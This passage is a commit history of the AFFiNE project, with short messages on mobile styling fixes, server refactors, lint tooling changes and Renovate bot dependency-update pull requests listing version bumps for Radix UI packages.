<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">ppt.mov</video>

Insert make it real on page mode:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c71139b2-fb55-4d89-84e2-d52eeb905b57.mov">make it real.mov</video>
2024-12-16 10:04:16 +00:00
CatsJuice
e6bf4ca6e5 chore(core): use flexbox to stretch editor height (#9174) 2024-12-16 09:49:12 +00:00
darkskygit
5cc40114fc fix(server): unsplash path mapping (#9159) 2024-12-16 09:35:18 +00:00
EYHN
9a66c97f52 feat(ios): add some apis for native (#9173) 2024-12-16 09:18:39 +00:00
forehalo
83618e38a2 chore(server): cleanup team impl (#9171) 2024-12-16 08:41:11 +00:00
darkskygit
de2dab32c0 feat(server): always send invite email (#9168)
fix AF-1976
2024-12-16 04:45:12 +00:00
CatsJuice
87bbcae5e2 fix(component): mobile toast dark mode (#9142) 2024-12-16 04:31:12 +00:00
CatsJuice
729c37977e chore(component): update button and input border color (#9141) 2024-12-16 04:16:49 +00:00
fundon
0945381d7b chore: improve links test cases (#9148) 2024-12-16 04:03:06 +00:00
pengx17
0db6dd2f62 fix(mobile): doc info title max width (#9147)
fix AF-1925
2024-12-16 03:44:18 +00:00
pengx17
7b173a68d5 fix(mobile): hide scrollbar (#9144)
fix AF-1934
2024-12-16 03:44:17 +00:00
pengx17
a84a40e777 fix(mobile): date picker style (#9143)
fix AF-1871
2024-12-16 03:44:16 +00:00
JimmFly
8eafc057fa fix(core): handle errors on the invite page (#9167)
close AF-1975
2024-12-16 03:30:19 +00:00
Brooooooklyn
aaaea8918f chore: upgrade to eslint9 (#9163) 2024-12-14 10:29:04 +00:00
Brooooooklyn
f49bef4915 chore: remove eslint-plugin-unused-imports (#9160)
`no-unused-vars` is enough
2024-12-13 14:49:13 +00:00
renovate
60080d58f3 chore: Lock file maintenance (#9067)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 13:04:06 +00:00
doodlewind
edd169720b chore(server): update env example and docs (#9153) 2024-12-13 11:04:08 +00:00
Brooooooklyn
ea746e3d77 chore: disable rules in oxlint (#9154) 2024-12-13 10:49:35 +00:00
darkskygit
2452ccd1e5 fix(server): copilot ci (#9151) 2024-12-13 09:59:06 +00:00
JimmFly
0de7782c9b fix(core): should log in before accepting the invitation (#9150) 2024-12-13 09:44:32 +00:00
Peng Xiao
293a155977 chore(electron): bump electron (#9152) 2024-12-13 09:44:00 +00:00
Brooooooklyn
055abf6040 chore: refresh dependencies by yarn upgrade-interactive (#9139) 2024-12-13 08:08:06 +00:00
CatsJuice
133f21b9ca fix(mobile): tag and detail page dark mode adaption (#9145) 2024-12-13 07:55:07 +00:00
CatsJuice
6f6f95a8b0 feat(mobile): use mobile fallback for index, open home when workspace changed (#9106) 2024-12-13 07:41:06 +00:00
CatsJuice
974c6de1d2 chore(mobile): adjust app tab border width (#9122) 2024-12-13 07:27:04 +00:00
CatsJuice
300efa64ec chore(mobile): adjust search back button and title style (#9125)
close AF-1827, AF-1826
2024-12-13 07:12:09 +00:00
renovate
7c2f0064ae chore: bump up @blocksuite/affine version to v0.19.0 (#9140)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.7` -> `0.19.0`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.7/0.19.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.7/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.7/0.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.0`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0190)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.7...v0.19.0)

##### Minor Changes

-   [`d7ec057`](https://redirect.github.com/toeverything/blocksuite/commit/d7ec057): Blocksuite minor release.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-13 06:58:42 +00:00
darkskygit
994e4c5bc1 feat(server): seat calc follow member count (#9138) 2024-12-13 06:44:05 +00:00
forehalo
0e73737407 refactor(server): make redis required module (#9121) 2024-12-13 06:27:15 +00:00
forehalo
81c68032e1 refactor(server): standalone runtime module (#9120) 2024-12-13 06:27:14 +00:00
forehalo
4c23991047 chore: rename fundamentals to base (#9119) 2024-12-13 06:27:13 +00:00
forehalo
8c24f2b906 feat(nbstore): add sqlite implementation (#8811) 2024-12-13 06:13:05 +00:00
Brooooooklyn
932e1da7f3 ci: postUpgradeTasks is only allowed on self-hosted renovate (#9137) 2024-12-13 04:19:07 +00:00
renovate
97f15709d2 chore: bump up all non-major dependencies (#9136)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@radix-ui/react-accordion](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-accordion/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-accordion/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-accordion/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-aspect-ratio](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-aspect-ratio/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-aspect-ratio/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-aspect-ratio/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-avatar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-avatar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-avatar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-avatar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-checkbox](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-checkbox/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-checkbox/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-checkbox/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-collapsible](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-collapsible/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-collapsible/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-collapsible/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.2` -> `2.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dialog/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dialog/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.2` -> `2.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-label](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.0` -> `2.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-label/2.1.0/2.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-label/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-label/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-label/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-label/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-progress](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-progress/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-progress/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-progress/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-progress/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-progress/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-radio-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-radio-group/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-radio-group/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-radio-group/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.2` -> `2.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.2/2.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.2/2.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-separator](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-separator/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-separator/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-separator/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-separator/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-separator/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-slider](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slider/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slider/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slider/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slider/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slider/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-slot](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slot/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slot/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slot/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slot/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slot/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-switch](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-switch/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-switch/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-switch/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-switch/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-switch/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tabs](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tabs/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tabs/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tabs/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.2` -> `1.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.2/1.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
